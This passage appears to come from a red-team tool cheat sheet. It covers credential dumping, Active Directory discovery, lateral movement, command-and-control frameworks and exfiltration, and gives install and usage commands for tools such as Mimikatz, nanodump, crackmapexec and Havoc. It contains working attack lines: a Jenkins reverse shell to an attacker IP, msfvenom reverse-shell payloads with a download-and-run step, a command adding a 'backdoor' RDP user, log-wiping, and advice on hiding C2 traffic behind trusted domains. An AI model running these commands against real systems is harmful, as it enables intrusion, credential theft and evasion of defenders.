curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk
moonwalk start

# Once you are finished, clear your traces 
moonwalk finish

Image used from https://github.com/mufeedvh/moonwalk

Credential Access

🔙Mimikatz

Great tool for gaining access to hashed and cleartext passwords on a victims endpoint. Once you have gained privileged access to a system, drop this tool to collect some creds.

Install:

Download the mimikatz_trunk.7z file.
Once downloaded, the mimikatz.exe binary is in the x64 folder.

Usage:

.\mimikatz.exe
privilege::debug

🔙LaZagne

Nice tool for extracting locally stored passwords from browsers, databases, games, mail, git, wifi, etc.

Install: (Binary)

You can install the standalone binary from here.

Usage:

# Launch all modes
.\laZagne.exe all

# Launch only a specific module
.\laZagne.exe browsers

# Launch only a specific software script
.\laZagne.exe browsers -firefox

🔙hashcat

Tool for cracking password hashes. Supports a large list of hashing algorithms (Full list can be found here).

Install: Binary

You can install the standalone binary from here.

Usage:

.\hashcat.exe --help

Nice hashcat command cheatsheet.

🔙John the Ripper

Another password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs and GPUs.

Install:

sudo apt-get install john -y

Usage:

john

🔙SCOMDecrypt

This tool is designed to retrieve and decrypt RunAs credentials stored within Microsoft System Center Operations Manager (SCOM) databases.

NCC blog post - 'SCOMplicated? – Decrypting SCOM “RunAs” credentials'

Pre-requisites:

To run the tool you will require administrative privileges on the SCOM server. You will also need to ensure that you have read access to the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins

You can check manually that you can see the database by gathering the connection details from the following keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName

Install: (PS1)

git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1

Install: (Compile)

Using Visual Studio 2019 Community Edition you can compile the SCOMDecrypt binary.

Open the SCOMDecrypt project .sln, choose "Release", and build.

Usage:

# PS1
Invoke-SCOMDecrypt

# Compiled C# binary
.\SCOMDecrypt.exe

Image text used from https://github.com/nccgroup/SCOMDecrypt

🔙nanodump

The LSASS (Local Security Authority Subsystem Service) is a system process in the Windows operating system that is responsible for enforcing the security policy on the system. It is responsible for a number of tasks related to security, including authenticating users for logon, enforcing security policies, and generating audit logs.

Creating a dump of this process can allow an attacker to extract password hashes or other sensitive information from the process's memory, which could be used to compromise the system further.

This allows for the creation of a minidump of the LSASS process.

Install:

git clone https://github.com/helpsystems/nanodump.git

Install: (Linux with MinGW)

make -f Makefile.mingw

Install: (Windows with MSVC)

nmake -f Makefile.msvc

Install: (CobaltStrike only)

Import the NanoDump.cna script on Cobalt Strike.

Full installation information can be found here.

Usage:

# Run
nanodump.x64.exe

# Leverage the Silent Process Exit technique
nanodump --silent-process-exit C:\Windows\Temp\

# Leverage the Shtinkering technique
nanodump --shtinkering

Full usage information can be found here.

Image used from https://github.com/helpsystems/nanodump

🔙eviltree

A standalone python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. Created for two main reasons:

While searching for secrets in files of nested directory structures, being able to visualize which files contain user provided keywords/regex patterns and where those files are located in the hierarchy of folders, provides a significant advantage.
tree is an amazing tool for analyzing directory structures. It's really handy to have a standalone alternative of the command for post-exploitation enumeration as it is not pre-installed on every linux distro and is kind of limited on Windows (compared to the UNIX version).

Install:

git clone https://github.com/t3l3machus/eviltree

Usage:

# Running a regex that essentially matches strings similar to: password = something against /var/www
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v

# Using comma separated keywords instead of regex
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v

Image used from https://github.com/t3l3machus/eviltree

🔙SeeYouCM-Thief

Simple tool to automatically download and parse configuration files from Cisco phone systems searching for SSH credentials.

Will also optionally enumerate active directory users from the UDS API.

Blog - Exploiting common misconfigurations in cisco phone systems

Install:

git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt

Usage:

# Enumerate Active Directory users from the UDS api on the CUCM
./thief.py -H <CUCM server> --userenum

# Without specifying a phone IP address the script will attempt to download every config in the listing.
./thief.py -H <Cisco CUCM Server> [--verbose]

# Parse the web interface for the CUCM address and will do a reverse lookup for other phones in the same subnet.
./thief.py --phone <Cisco IP Phoner> [--verbose]

# Specify a subnet to scan with reverse lookups.
./thief.py --subnet <subnet to scan> [--verbose]

Image used from https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/

🔙MailSniper

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email or by an Exchange administrator to search the mailboxes of every user in a domain.

MailSniper also includes additional modules for password spraying, enumerating users and domains, gathering the Global Address List (GAL) from OWA and EWS and checking mailbox permissions for every Exchange user at an organization.

Nice blog post with more information about here.

MailSniper Field Manual

Install:

git clone https://github.com/dafthack/MailSniper
cd MailSniper
Import-Module MailSniper.ps1

Usage:

# Search current users mailbox
Invoke-SelfSearch -Mailbox [email protected]

Image used from https://patrowl.io/

🔙SharpChromium

SharpChromium is a .NET 4.0+ CLR project to retrieve data from Google Chrome, Microsoft Edge, and Microsoft Edge Beta. Currently, it can extract:

Cookies (in JSON format)
History (with associated cookies for each history item)
Saved Logins

This rewrite has several advantages to previous implementations, which include:

No Type compilation or reflection required
Cookies are displayed in JSON format, for easy importing into Cookie Editor.
No downloading SQLite assemblies from remote resources.
Supports major Chromium browsers (but extendable to others)

Install:

Using Visual Studio Community Edition.

Open up the project .sln, choose "release", and build.

Usage:

# Retrieve cookies associated with Google Docs and Github
.\SharpChromium.exe cookies docs.google.com github.com

# Retrieve history items and their associated cookies.
.\SharpChromium.exe history

# Retrieve saved logins (Note: Only displays those with non-empty passwords):
.\SharpChromium.exe logins

Image used from https://github.com/djhohnstein/SharpChromium

🔙dploot

DPAPI (Data Protection Application Programming Interface) provides a set of APIs to encrypt and decrypt data where a user password is typically used to set the 'master key' (in a user scenario). So to leverage DPAPI to gain access to certain data (Chrome Cookies/Login Data, the Windows Credential Manager/Vault etc) we just need access to a password.

dploot is Python rewrite of SharpDPAPI written un C# by Harmj0y, which is itself a port of DPAPI from Mimikatz by gentilkiwi. It implements all the DPAPI logic of these tools, but this time it is usable with a python interpreter and from a Linux environment.

Blog - Operational Guidance for Offensive User DPAPI Abuse

Install: (Pip)

pip install dploot

Install: (Git)

git clone https://github.com/zblurx/dploot.git
cd dploot
make

Usage:

# Loot decrypted machine private key files as a Windows local administrator 
dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -quiet

# Loot the DPAPI backup key as a Windows Domain Administrator (Will allow attacker to loot and decrypt any DPAPI protected password realted to a domain user)
dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.56.112 -quiet

# Leverage the DPAPI backup key `key.pvk` to loot any user secrets stored on Windows domain joined endpoints
dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.14 -pvk key.pvk  -quiet

Discovery

🔙PCredz

This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

Install:

git clone https://github.com/lgandx/PCredz

Usage: (PCAP File Folder)

python3 ./Pcredz -d /tmp/pcap-directory-to-parse/

Usage: (Live Capture)

python3 ./Pcredz -i eth0 -v

🔙PingCastle

Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework. It does not aim at a perfect evaluation but rather as an efficiency compromise.

Install: (Download)

https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip

Usage:

./PingCastle.exe

🔙Seatbelt

Seatbelt is a useful tool for gathering detailed information about the security posture of a target Windows machine in order to identify potential vulnerabilities and attack vectors.

It is designed to be run on a compromised victim machine to gather information about the current security configuration, including information about installed software, services, group policies, and other security-related settings

Install: (Compile)

Seatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with Visual Studio Community Edition.

Open up the project .sln, choose "release", and build.

Usage:

# Run all checks and output to output.txt
Seatbelt.exe -group=all -full > output.txt

# Return 4624 logon events for the last 30 days
Seatbelt.exe "LogonEvents 30"

# Query the registry three levels deep, returning only keys/valueNames/values that match the regex .*defini.*
Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"

# Run remote-focused checks against a remote system
Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""

Full command groups and parameters can be found here.

Image used from https://exord66.github.io/csharp-in-memory-assemblies

🔙ADRecon

Great tool for gathering information about a victim's Microsoft Active Directory (AD) environment, with support for Excel outputs.

It can be run from any workstation that is connected to the environment, even hosts that are not domain members.

BlackHat USA 2018 SlideDeck

Prerequisites

.NET Framework 3.0 or later (Windows 7 includes 3.0)
PowerShell 2.0 or later (Windows 7 includes 2.0)

Install: (Git)

git clone https://github.com/sense-of-security/ADRecon.git

Install: (Download)

You can download a zip archive of the latest release.

Usage:

# To run ADRecon on a domain member host.
PS C:\> .\ADRecon.ps1

# To run ADRecon on a domain member host as a different user.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>

# To run ADRecon on a non-member host using LDAP.
PS C:\>.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>

# To run ADRecon with specific modules on a non-member host with RSAT. (Default OutputType is STDOUT with -Collect parameter)
PS C:\>.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domain, DomainControllers

Full usage and parameter information can be found here.

Image used from https://vk9-sec.com/domain-enumeration-powerview-adrecon/

🔙adidnsdump

By default any user in Active Directory can enumerate all DNS records in the Domain or Forest DNS zones, similar to a zone transfer.

This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks.

Install: (Pip)

pip install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump

Install: (Git)

git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

Note: The tool requires impacket and dnspython to function. While the tool works with both Python 2 and 3, Python 3 support requires you to install impacket from GitHub.

Usage:

# Display the zones in the domain where you are currently in
adidnsdump -u icorp\\testuser --print-zones icorp-dc.internal.corp

# Display all zones in the domain
adidnsdump -u icorp\\testuser icorp-dc.internal.corp

# Resolve all unknown records (-r)
adidnsdump -u icorp\\testuser icorp-dc.internal.corp -r

Blog - Getting in the Zone: dumping Active Directory DNS using adidnsdump

Image used from https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

🔙kerbrute

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication.

Install: (Go)

go get github.com/ropnop/kerbrute

Install: (Make)

git clone https://github.com/ropnop/kerbrute
cd kerbrute
make all

Usage:

# User Enumeration
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

# Password Spray
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

# Brute User
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

# Brute Force
./kerbrute -d lab.ropnop.com bruteforce -

Image used from https://matthewomccorkle.github.io/day_032_kerbrute/

🔙scavenger

Scavenger is a multi-threaded post-exploitation scanning tool for scavenging systems, finding most frequently used files and folders as well as "interesting" files containing sensitive information.

Scavenger confronts a challenging issue typically faced by Penetration Testing consultants during internal penetration tests; the issue of having too much access to too many systems with limited days for testing.

Install:

First install CrackMapExec from here.

git clone https://github.com/SpiderLabs/scavenger
cd scavenger

Usage:

# Search for interesting files on victim endpoint
python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local

Nice blog post.

Image used from https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/scavenger-post-exploitation-tool-for-collecting-vital-data/

Lateral Movement

🔙crackmapexec

This is a great tool for pivoting in a Windows/Active Directory environment using credential pairs (username:password, username:hash). It also offered other features including enumerating logged on users and spidering SMB shares to executing psexec style attacks, auto-injecting Mimikatz/Shellcode/DLL’s into memory using Powershell, dumping the NTDS.dit and more.

Install:

sudo apt install crackmapexec

Usage:

crackmapexec smb <ip address> -d <domain> -u <user list> -p <password list>

🔙WMIOps

WMIOps is a powershell script that uses WMI to perform a variety of actions on hosts, local or remote, within a Windows environment.

Developed by @christruncer.

Original blog post documenting release.

Install: (PowerShell)

git clone https://github.com/FortyNorthSecurity/WMIOps
Import-Module WMIOps.ps1

Usage:

# Executes a user specified command on the target machine
Invoke-ExecCommandWMI

# Returns all running processes from the target machine
Get-RunningProcessesWMI

# Checks if a user is active at the desktop on the target machine (or if away from their machine)
Find-ActiveUsersWMI

# Lists all local and network connected drives on target system
Get-SystemDrivesWMI

# Executes a powershell script in memory on the target host via WMI and returns the output
Invoke-RemoteScriptWithOutput

Images used from https://pentestlab.blog/2017/11/20/command-and-control-wmi/

🔙PowerLessShell

Tool that uses MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe.

Install:

git clone https://github.com/Mr-Un1k0d3r/PowerLessShell
cd PowerLessShell

Usage:

# Help
python PowerLessShell.py -h

# Generate PowerShell payload 
python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj

# Generating a shellcode payload
python PowerLessShell.py -source shellcode.raw -output malicious.csproj

Full usage information can be found here.

Image used from https://bank-security.medium.com/how-to-running-powershell-commands-without-powershell-exe-a6a19595f628

🔙PsExec

PsExec is a part of the Sysinternals suite of tools, which is a collection of utilities for managing and troubleshooting Windows systems.

It is great for remotely executing commands on target machines.

Note: Some AVs detect PsExec as a 'remote admin' virus.

Install: (PowerShell)

Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/PSTools.zip' -OutFile 'pstools.zip'
Expand-Archive -Path 'pstools.zip' -DestinationPath "$env:TEMP\pstools"
Move-Item -Path "$env:TEMP\pstools\psexec.exe" .
Remove-Item -Path "$env:TEMP\pstools" -Recurse

Usage:

# Prevent the license agreement from being displayed
psexec.exe /accepteula

# Run the 'hostname' command on remote machine
psexec.exe \\REMOTECOMPUTER hostname

# Run the 'hostname' command on EVERYTHING (on the domain)
psexec.exe \\* hostname

# Run a local executable on a remote machine
psexec.exe \\REMOTECOMPUTER -c C:\Tools\program.exe

# Run the 'hostname' command with different credentials
psexec.exe \\REMOTECOMPUTER hostname -u localadmin -p secret-p@$$word

# Spawn shell on remote machine
psexec.exe -s \\REMOTECOMPUTER cmd

Great blog post on PsExec usage.

Image used from https://adamtheautomator.com/psexec/

🔙LiquidSnake

Liquid Snake is a program aimed at performing lateral movement against Windows systems without touching the disk.

The tool relies on WMI Event Subscription in order to execute a .NET assembly in memory, the .NET assembly will listen for a shellcode on a named pipe and then execute it using a variation of the thread hijacking shellcode injection.

The project is composed by two separate solutions:

CSharpNamedPipeLoader - the component that will be transformed in VBS via GadgetToJScript
LiquidSnake - the component responsible to creating the WMI Event Subscription on the remote system

Install:

Open both solutions in Visual Studio and build. Make sure to target x64 architecture for the CSharpNamedPipeLoader.

Output: Two separate EXEs: CSharpNamedPipeLoader.exe and LiquidSnake.exe

Full build information can be found here.

Usage:

Use LiquidSnake.exe agains a host where you have administrative access over as follows:

LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

If everything went fine, you should obtain an output similar as the following:

[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

General usage information can be found here.

Full LiquidSnake usage information can be found here.

Image used from https://github.com/RiccardoAncarani/LiquidSnake#usage

🔙Enabling RDP

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" "backdoor" /add

🔙Upgrading shell to meterpreter

Shells (https://infinitelogins.com/tag/payloads/)

After getting basic shell access to an endpoint a meterpreter is nicer to continue with.

[attacker] Generate a meterpreter shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

[victim] Download to victim endpoint:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"`

[attacker] Configure listener:

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-ip 
set LPORT listening-port run`

[victim] Execute payload:

Start-Process "shell-name.exe"`

🔙Forwarding Ports

Sometimes, after gaining access to an endpoint there are local ports. Making these internal ports external routable can help for lateral movement to other services on the host.

socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:EXTERNAL_PORT,fork TCP:127.0.0.1:INTERNAL_PORT &

🔙Jenkins reverse shell

If you gain access to a jenkins script console you can use this to gain a reverse shell on the node.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

🔙ADFSpoof

Created by Doug Bienstock @doughsec while at Mandiant FireEye.

ADFSpoof has two main functions:

Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption key from Active Directory, produce a usable key/cert pair for token signing.
Given a signing key, produce a signed security token that can be used to access a federated application.

This tool is meant to be used in conjunction with ADFSDump. ADFSDump runs on an AD FS server and outputs important information that you will need to use ADFSpoof.

Install:

Note: ADFSpoof requires the installation of a custom fork of the Python Cryptography package, available here.

git clone https://github.com/mandiant/ADFSpoof
pip install -r requirements.txt

Usage:

# Decrypt the EncryptedPFX and write to disk
python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump

# Generate a security token for Office365
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com o365 --upn [email protected] --objectguid {1C1D4BA4-B513-XXX-XXX-3308B907D759

Full usage information can be found here.

Additional command examples can be found here.

Image used from https://github.com/mandiant/ADFSpoof#usage

🔙Coercer

A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through many methods.

Features:

Lists open SMB pipes on the remote machine (in modes scan authenticated and fuzz authenticated)
Tries to connect on a list of known SMB pipes on the remote machine (in modes scan unauthenticated and fuzz unauthenticated)
Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine.
Random UNC paths generation to avoid caching failed attempts (all modes)
Configurable delay between attempts with --delay

More feature information here.

Install: (pip)

sudo python3 -m pip install coercer

Usage:

# Scan mode (Assess the Remote Procedure Calls listening on a machine)
./Coercer.py scan -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v

# Coerce mode (Exploit the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder)
./Coercer.py coerce -l 192.168.1.2 -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v

# Fuzz mode (Fuzz Remote Procedure Calls listening on a machine)
./Coercer.py fuzz -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v

Image used from https://github.com/p0dalirius/Coercer#quick-start

Collection

🔙BloodHound

An application used to visualize active directory environments. A quick way to visualise attack paths and understand victims' active directory properties.

Install: PenTestPartners Walkthrough

Custom Queries: CompassSecurity BloodHoundQueries

🔙Snaffler

Snaffler is an advanced credential scanner/collector for Active Directory environments. With a great README.

Snaffler uses a system of "classifiers", each of which examine shares or folders or files or file contents, passing some items downstream to the next classifier, and discarding others. Each classifier uses a set of rules to decide what to do with the items it classifies.

More information about Snaffler rules.

'Broadly speaking - it gets a list of Windows computers from Active Directory, then spreads out its snaffly appendages to them all to figure out which ones have file shares, and whether you can read them.' - Snaffler README (2023)

Install:

You can download the binary from the GitHub Releases Page.

Usage:

# Targeted local scan (less likely to trigger detections)
Snaffler.exe -s -i C:\

# Go in loud and find everything
snaffler.exe -s -o snaffler.log

Image used from https://github.com/SnaffCon/Snaffler#what-does-it-look-like

🔙linWinPwn

linWinPwn is a bash script that automates a number of Active Directory Enumeration and Vulnerability checks.

The script uses a number of tools and serves as wrapper of them. Tools include: impacket, bloodhound, crackmapexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, adidnsdump, certipy, silenthound, and others.

linWinPwn is particularly useful when you have access to an Active Directory environment for a limited time only, and you wish to automate the enumeration process and collect evidence efficiently.

Install:

git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn; chmod +x linWinPwn.sh
chmod +x install.sh
./install.sh

Usage:

# Default: interactive - Open interactive menu to run checks separately
./linWinPwn.sh -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]

# Auto config - Run NTP sync with target DC and add entry to /etc/hosts before running the modules
./linWinPwn.sh -t <Domain_Controller_IP> --auto-config

# LDAPS - Use LDAPS instead of LDAP (port 636)
./linWinPwn.sh -t <Domain_Controller_IP> --ldaps

# Module pwd_dump: Password Dump
./linWinPwn.sh -t <Domain_Controller_IP> -M pwd_dump [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]

Full usage information here.

Image used from https://github.com/lefayjey/linWinPwn#demos

Command and Control

🔙Living Off Trusted Sites Project

C2 implants can be detected by defenders looking for unusual network traffic to uncommon domains. Additionally proxy solutions can sometimes block connections to untrusted domains.

Being able to hide your C2 traffic via a trusted domain will help you to stay undetected and reduce the likelihood of being blocked at the proxy level by security solutions.

This resource contains a list of trusted sites that can be used.

Usage:

Visit https://lots-project.com/

Search for +C&C in the search bar to view all potential domains / subdomains that can be used for command and control operations.

Results include:

raw.githubusercontent.com
docs.google.com
*.azurewebsites.net
dropbox.com
*.amazonaws.com

Image used from https://lots-project.com/

🔙Havoc

Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.

Features include: Sleep Obfuscation, x64 return address spoofing, Indirect Syscalls for Nt* APIs

Pre-requisites: (Ubuntu 20.04 / 22.04)

sudo apt install build-essential
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev

Build + Usage:

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
make 
./Havoc

Pre-requisites: (Ubuntu 20.04 / 22.04)

cd Havoc/Teamserver
go mod download golang.org/x/sys  
go mod download github.com/ugorji/go

Build + Usage:

cd Teamserver
./Install.sh
make
./teamserver -h

Run the teamserver

sudo ./teamserver server --profile ./profiles/havoc.yaotl -v --debug

Full install, build and run instructions on the wiki

🔙Covenant

Covenant is a .NET command and control framework, it has a web interface that allows for multi-user collaboration.

It can be used to remotely control compromised systems and perform a variety of different tasks, including executing arbitrary code, capturing keystrokes, exfiltrating data, and more.

Install: (Dotnet Core)

You can download dotnet core for your platform from here.

Note: After starting Covenant, you must register an initial user through the web interface. Navigating to the web interface will allow you to register the initial user

git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant

Usage: (Dotnet Core)

~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser

Install: (Docker)

# Build the docker image:
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
~/Covenant/Covenant > docker build -t covenant .

Usage: (Docker)

# Run Covenant within the Docker container
~/Covenant/Covenant > docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v </absolute/path/to/Covenant/Covenant/Data>:/app/Data covenant

# Stop the container
~/Covenant/Covenant > docker stop covenant

# Restart Covenant interactively
~/Covenant/Covenant > docker start covenant -ai

Full installation and startup instructions can be found on the wiki here.

Image from https://github.com/cobbr/Covenant

🔙Merlin

Merlin is an open-source post-exploitation framework that is designed to be used after a initial compromise of a system.

It is written in Python and can be used to perform a variety of different tasks, such as executing arbitrary code, moving laterally through a network, and exfiltrating data.

Install:

Download the latest compiled version of Merlin Server from the releases section
Extract the files with 7zip using the x function The password is: merlin
Start Merlin
Configure a listener
Deploy an agent. See Agent Execution Quick Start Guide for examples

mkdir /opt/merlin;cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x merlinServer-Linux-x64.7z
sudo ./merlinServer-Linux-x64

Usage:

Ensure the Merlin server is running with a configured listener
Download and deploy an agent to the victim
Execute agent

For detailed usage information see the official Merlin wiki.

Image from https://www.foregenix.com/blog/a-first-look-at-todays-command-and-control-frameworks

🔙Metasploit Framework

Metasploit is an open-source framework for developing, testing, and using exploit code.

The Metasploit framework includes a large number of pre-built exploits and payloads, as well as a fully-featured integrated development environment (IDE) for creating and testing custom exploits.

Install: (Installer)

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

Usage:

/opt/metasploit-framework/bin/msfconsole

Full installation instructions can be found on the official wiki.

Rapid7 Metasploit blogs

Cheat sheet graphic

Nice command list

Image used from https://goacademy.io/how-to-install-metasploit-on-kali-linux/

🔙Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C.

It allows an attacker to remotely control a victim's computer and execute various actions, such as command execution, key logging, and taking screen shots.

Install: (Git)

sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyw

Roll fix to fix the error:

sudo pip2 install rpyc==3.4.4

Start:

export PATH=$PATH:~/.local/bin; pupysh
pupyws/bin/pupysh

Git install instructions used from here.

Install: (Docker)

For detailed docker and pupy installation instructions see the wiki.

Usage:

# Get help page for any builtin commands with -h
>> sessions -h
>> jobs -h
>> run -h

# Interact with session 1
>> sessions -i 1

# Run local command 'ls'
>> !ls

Full usage information can be found on the wiki.

The wiki contains good post exploitation information.

Image used from https://github.com/n1nj4sec/pupy/wiki/Screenshots

🔙Brute Ratel

BruteRatel is a great command and control (C4) framework created by @NinjaParanoid. The framework consists of a client component 'badger' that is installed on the compromised system, and a server component 'commander' that is run by the red team.

The client and server communicate with each other using various communication channels, such as HTTP, DNS, or TCP, and can be configured to use different encoding and encryption methods to evade detection.

Some nice features:

DNS Over HTTPS
Indirect Syscalls
Built-in Debugger To Detect EDR Userland Hooks
MITRE graph integration
Adversary TTP automation

Install:

To legally get access to the framework you will need to buy a licence (1 Year $2500 per user). See the pricing page for more information.

After purchase you can download the framework from here with your Activation Key and License User ID.

Usage:

# Loads a powershell script to memory which can be Invoked using psreflect
psimport

# Locks keyboard and mouse hardware input. Use ‘unlock_input’ command to unlock
lock_input

# Dumps user clipboard
dumpclip

# Enumerates basic domain information
dcenum

# Elevates user privileges to SYSTEM (Requires admin rights)
get_system

# Takes a screenshot of current desktop and stores it on the server
screenshot

# Dumps LSASS to C:\Windows\Memory.DMP using the PssCaptureSnapshot technique
shadowclone

Full commander terminal usage information can be found here.

Image used from https://bruteratel.com/

🔙NimPlant

A light-weight first-stage C2 implant written in Nim.

Features:

Lightweight and configurable implant written in the Nim programming language
Encryption and compression of all traffic by default, obfuscates static strings in implant artefacts
Support for several implant types, including native binaries (exe/dll), shellcode or self-deleting executables
Easy deployment of more advanced functionality or payloads via inline-execute, shinject (using dynamic invocation), or in-thread execute-assembly
Comprehensive logging of all interactions and file operations

Install:

curl https://nim-lang.org/choosenim/init.sh -sSf | sh
choosenim stable
git clone https://github.com/chvancooten/NimPlant
cd client
nimble install -d
pip3 install -r server/requirements.txt
apt install mingw-w64

Usage:

# Generate payloads
python .\NimPlant.py compile all

# Start server
python .\NimPlant.py server

Before running make sure to create the config.tool configuration file, more information can be found here.

Full usage information can be found here.

Blog - Building a C2 Implant in Nim - Considerations and Lessons Learned

Image used from https://casvancooten.com

🔙Hoaxshell

A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.

Install:

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage:

# Payload that utilizes Invoke-Expression (default)
sudo python3 hoaxshell.py -s <your_ip>

# Payload that writes and executes commands from a file
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

# Encrypted shell session with a trusted certificate
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>

Full usage documentation here.

Usage Demo - YouTube

Hoaxshell vs AV

Image used from https://github.com/t3l3machus/hoaxshell

Exfiltration

🔙Dnscat2

A tool for establishing C2 connections via DNS, even if the attacker and victim machines are behind a firewall / network address translation (NAT).

The tool is designed to be stealthy and difficult to detect, as it uses legitimate DNS traffic to transmit data.

Install: (Compile - Server)

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

Install: (Compile - Client)

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

